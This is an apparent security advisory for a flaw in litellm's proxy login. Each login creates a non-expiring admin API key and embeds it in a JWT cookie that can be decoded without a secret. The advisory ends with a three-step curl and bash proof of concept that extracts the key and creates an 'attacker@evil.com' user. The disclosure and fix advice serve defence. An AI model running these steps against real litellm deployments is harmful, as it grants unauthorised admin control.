BerriAI litellm PROXY_ADMIN database API Key Generator login_utils.py authenticate_user session expiration

An attacker who can intercept a login JWT cookie (e.g., through XSS, network sniffing, or log exposure) can decode the JWT without any secret because the payload is only base64-encoded. The extracted `sk-...` key is a standalone PROXY_ADMIN bearer token that remains valid for 12 hours independent of the JWT session. Because each login creates a new key without expiring previous ones, an attacker can accumulate multiple valid admin tokens and use them to perform any admin action, such as creating new users [ref_id=1].

The flaw resides in `litellm/proxy/auth/login_utils.py` within the `authenticate_user()` function. Both the admin login path (line 177) and the user login path (line 265) call `generate_key_helper_fn()` to create a permanent PROXY_ADMIN database API key on every login. The resulting key is then embedded in the JWT cookie payload at line 332-334 via `key=login_result.key`. The same pattern exists in the `/onboarding/get_token` endpoint in `proxy_server.py` (line 11159).

The advisory does not include a published patch. The recommended fix is to remove the `generate_key_helper_fn()` call from the login flow so that no permanent database API key is created during authentication, and to restore the `expire_previous_ui_session_tokens` function that was removed during the JWT migration. Without these changes, every login continues to leak a permanent admin key inside the JWT and never expires prior keys [ref_id=1].

1. Login and capture the JWT cookie: ```bash TOKEN=$(curl -s -D - -X POST http://localhost:4000/login \ -d "username=admin&password=sk-1234" \ -o /dev/null 2>&1 | grep -oP 'token=\K[^;]+') ``` 2. Decode the JWT and extract the embedded DB key: ```bash DB_KEY=$(echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | \ python3 -c "import sys,json; print(json.load(sys.stdin)['key'])") echo "Extracted admin DB key: $DB_KEY" ``` 3. Use the extracted key as a standalone admin API key: ```bash curl -X POST http://localhost:4000/user/new \ -H "Authorization: Bearer $DB_KEY" \ -H "Content-Type: application/json" \ -d '{"user_email": "attacker@evil.com"}' ``` Returns HTTP 200 — full admin access. [ref_id=1]